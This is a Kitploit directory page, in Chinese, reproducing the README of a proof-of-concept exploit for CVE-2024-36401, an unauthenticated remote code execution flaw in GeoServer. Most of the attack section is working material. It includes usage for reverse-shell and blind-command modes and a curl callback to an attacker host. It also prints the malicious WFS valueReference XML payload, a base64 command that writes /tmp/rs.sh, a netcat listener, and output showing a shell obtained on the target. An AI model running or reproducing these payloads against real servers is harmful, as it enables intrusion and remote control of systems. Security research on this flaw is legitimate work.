Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-36401-poc — 针对GeoServer(CVE-2024-36401)的未授权RCE利用程序,通过OGC过滤器XPath注入实现。支持反弹shell和盲命令执行,具备自动版本检测和要素类型探测功能。 | Kitploit
工具/GitHubGitHub/delt-a/cve-2024-36401-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队远程访问工具
GitHubdelt-a/cve-2024-36401-poc

CVE-2024-36401-poc

针对GeoServer(CVE-2024-36401)的未授权RCE利用程序,通过OGC过滤器XPath注入实现。支持反弹shell和盲命令执行,具备自动版本检测和要素类型探测功能。

查看仓库
133个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-36401 — GeoServer OGC XPath 注入 RCE

Python CVE CVSS License

针对 GeoServer 的未认证远程代码执行漏洞利用,通过 OGC 过滤器 valueReference 参数注入(XPath/JXPath 求值)。

免责声明: 此工具仅用于授权的渗透测试和安全研究。不得在未经明确书面许可的情况下对不属于您的系统使用。作者不对因使用此工具而导致的误用或损害承担任何责任。


目录

  • 概述
  • 受影响版本
  • 技术细节
  • 环境要求
  • 安装
  • 使用方法
  • 示例
  • 工作原理
  • 故障排除
  • 参考资料

概述

GeoServer 是一个用于共享地理空间数据的开源 Java 服务器,广泛部署于政府、企业和研究环境中。CVE-2024-36401 允许未认证攻击者通过将 Java 表达式注入 OGC(开放地理空间联盟)过滤器参数,在主机上执行任意操作系统命令。

该漏洞于 2024 年 7 月被列入 CISA 已知被利用漏洞(KEV)目录,原因是已在野外被积极利用。


受影响版本

分支受影响范围修复版本
2.23.x< 2.23.62.23.6
2.24.x< 2.24.42.24.4
2.25.x< 2.25.22.25.2

旧于 2.23.0 的 GeoServer 版本也可能受影响,但已停止维护且未经测试。


技术细节

GeoServer 使用 GeoTools 库来评估 OGC 过滤器表达式。valueReference 参数(以及其他类似 CQL_FILTER 的参数)被传递给 Apache Commons JXPath 的 JXPathContext.selectNodes(),未经过滤。

JXPath 支持通过诸如以下表达式调用任意 Java 方法:

exec(java.lang.Runtime.getRuntime(), 'id')

对于某些端点,该求值过程在检查认证之前就已发生,因此漏洞是完全未认证的。

易受攻击的端点:

  • POST /geoserver/wfs — 使用 valueReference 的 GetPropertyValue 请求
  • GET /geoserver/ows — 通过查询字符串传递相同参数

关键技术点: valueReference 表达式必须使用单引号(')包裹命令字符串。双引号(")会导致 XML 解析失败并阻止执行——这是其他公开 PoC 中常见的陷阱。


环境要求

  • Python 3.9+
  • requests 库
  • 目标运行着易受攻击的 GeoServer 版本,并且至少包含一个可用的 WFS 要素类型(默认示例数据工作区 sf、topp、tiger 已足够)

安装

git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests

或者直接安装依赖:

pip3 install requests

使用方法

usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                  [-c CMD] [-f FEATURE]

options:
  -h, --help            显示此帮助信息并退出
  -t, --target TARGET   目标 URL,例如 http://<TARGET>:8080
  -l, --lhost LHOST     用于反弹 Shell 回连的 IP 地址
  -p, --lport LPORT     监听端口(默认:4444)
  -c, --cmd CMD         要执行的单条命令(无输出返回)
  -f, --feature FEATURE 覆盖要素类型(若省略则自动检测)

模式

模式标志描述
反弹 Shell-l LHOST -p LPORT通过 bash 的两阶段反弹 Shell
命令执行-c CMD执行单条命令(盲注——无输出)
要素类型覆盖-f FEATURE跳过自动检测,使用指定类型

示例

1. 反弹 Shell(推荐)

首先启动监听器:

nc -lvnp 4444

然后运行漏洞利用程序:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444

预期输出:

   _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
 / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
\____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
   ___
  <  /
  / /
 / /
/_/

  GeoServer OGC XPath 注入 RCE  |  CVE-2024-36401
  未认证  |  CVSS 9.8  |  影响版本 < 2.25.2 / 2.24.4 / 2.23.6

[*] 目标 : http://<TARGET>:8080

[+] 检测到 GeoServer — 版本: 2.24.2
[+] 版本 2.24.2 存在漏洞
[*] 探测要素类型...
[+] 要素类型: sf:archsites

[*] 要素类型 : sf:archsites
[*] 监听器   : <LHOST>:4444
[*] 启动     : nc -lvnp 4444

[*] 阶段 1 — 在目标上写入 /tmp/rs.sh...
[+] 已通过 sf:archsites 传送载荷
[*] 阶段 2 — 执行 → <LHOST>:4444
[+] 完成 — 检查您的监听器

在监听器上:

Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$

2. 命令执行(盲注)

执行命令但不接收输出。适用于带外验证或放置文件:

# 通过创建文件验证执行
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "touch /tmp/pwned"

# 触发 curl 回调以确认执行
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "curl http://<LHOST>:8000/pwned"

注意:包含 Shell 元字符(>、|、&、;)的命令会自动进行 Base64 编码以避免解析问题。


3. 手动指定要素类型

如果自动检测失败,请提供目标上的已知要素类型:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444 \
  -f topp:states

GeoServer 示例数据中包含的常用要素类型:

工作区要素类型
sfsf:archsites, sf:bugsites, sf:roads, sf:streams
topptopp:states, topp:tasmania_cities, topp:tasmania_roads
tigertiger:giant_polygon, tiger:poi, tiger:tiger_roads
citecite:Buildings

工作原理

该漏洞利用程序发送一个带有恶意 valueReference 表达式的 GetPropertyValue WFS 请求:

<wfs:GetPropertyValue service='WFS' version='2.0.0'
  xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>
    exec(java.lang.Runtime.getRuntime(),'COMMAND')
  </wfs:valueReference>
</wfs:GetPropertyValue>

对于反弹 Shell,采用两阶段方法以避免 exec() 单字符串参数中的 Shell 元字符问题:

阶段 1 — 使用 Base64 编码和 Shell 花括号扩展(exec 字符串中不含空格)将反弹 Shell 写入 /tmp/rs.sh:

bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}

阶段 2 — 执行脚本:

bash /tmp/rs.sh

这种方法避免在第一个 exec() 调用中需要 Shell 解释器,使其在不同系统配置下均能可靠运行。


故障排除

[-] 无法连接到目标

  • 验证目标 URL 和端口是否正确
  • 确认 GeoServer 正在运行:curl http://<TARGET>:8080/geoserver/web/

[-] 未找到可用的要素类型

  • 可能未安装 GeoServer 示例数据
  • 尝试使用 -f <workspace>:<type> 指定自定义要素类型
  • 列出可用类型:curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"

[+] 载荷已传送 但未收到 Shell

  • 确认在发送漏洞利用程序之前监听器已启动
  • 检查防火墙规则——目标必须能够访问您的 LHOST:LPORT
  • 某些 PoC 在命令周围使用双引号 (") —— 这不起作用。请确保在 valueReference 表达式中使用单引号 (')。

[!] 版本 X.X.X 可能已修补 — 仍尝试执行

  • 脚本无论版本检测结果如何都会尝试利用
  • 如果 About 页面受限,版本检测可能失败;但漏洞利用仍可能成功

参考资料

  • NVD — CVE-2024-36401
  • GitHub 安全公告 — GHSA-7g64-hx6g-4427
  • GeoServer 安全公告
  • CISA KEV 目录
  • GeoTools JXPath 补丁

许可证

本项目基于 MIT 许可证发布。详情请参阅 LICENSE 文件。

下载工具